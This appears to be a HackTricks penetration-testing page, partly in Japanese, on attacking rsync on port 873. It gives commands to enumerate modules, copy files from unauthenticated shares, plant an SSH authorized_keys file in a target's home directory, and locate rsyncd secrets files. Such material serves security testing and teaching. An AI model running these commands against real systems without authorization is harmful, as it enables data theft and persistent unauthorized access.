hacktricks/network-services-pentesting/873-pentesting-rsync.md

109 lines
6.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 873 - Pentesting Rsync
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
</details>
## **基本情報**
[wikipedia](https://en.wikipedia.org/wiki/Rsync)から:
> **rsync**は、[ファイルの転送](https://en.wikipedia.org/wiki/File\_transfer)と[ファイルの同期](https://en.wikipedia.org/wiki/File\_synchronization)を効率的に行うためのユーティリティであり、[コンピュータ](https://en.wikipedia.org/wiki/Computer)と外部ハードドライブ、および[ネットワーク](https://en.wikipedia.org/wiki/Computer\_network)上の[コンピュータ](https://en.wikipedia.org/wiki/Computer)間で、ファイルの[修正時刻](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))とサイズを比較することによって行われます。[Unix-like](https://en.wikipedia.org/wiki/Unix-like) [オペレーティングシステム](https://en.wikipedia.org/wiki/Operating\_system)で一般的に見られます。rsyncアルゴリズムは[デルタエンコーディング](https://en.wikipedia.org/wiki/Delta\_encoding)の一種であり、ネットワーク使用量を最小限に抑えるために使用されます。追加の[データ圧縮](https://en.wikipedia.org/wiki/Data\_compression)には[Zlib](https://en.wikipedia.org/wiki/Zlib)が使用される場合があり、セキュリティには[SSH](https://en.wikipedia.org/wiki/Secure\_Shell)または[stunnel](https://en.wikipedia.org/wiki/Stunnel)が使用されることがあります。
**デフォルトポート:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## 列挙
### バナー&マニュアル通信
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **共有フォルダの列挙**
**Rsyncモジュール**は、**パスワードで保護されている可能性があるディレクトリ共有**として認識されます。利用可能なモジュールを特定し、パスワードが必要かどうかを確認するために、次のコマンドが使用されます:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Be aware that some shares might not appear in the list, possibly hiding them. Additionally, accessing some shares might be restricted to specific **credentials**, indicated by an **"Access Denied"** message.
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Manual Rsync Usage
Upon obtaining a **module list**, actions depend on whether authentication is needed. Without authentication, **listing** and **copying** files from a shared folder to a local directory is achieved through:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
このプロセスは、ファイルを再帰的に転送し、その属性と権限を保持します。
**資格情報**を使用して、共有フォルダからのリスト表示やダウンロードを以下のように行うことができます。パスワードのプロンプトが表示されます。
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
**コンテンツをアップロード**するには、アクセス用の _**authorized_keys**_ ファイルを使用します:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
rsyncdの設定ファイルを見つけるには、次のコマンドを実行します
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
## 参照
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい** または **HackTricksをPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) を**フォロー**してください。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>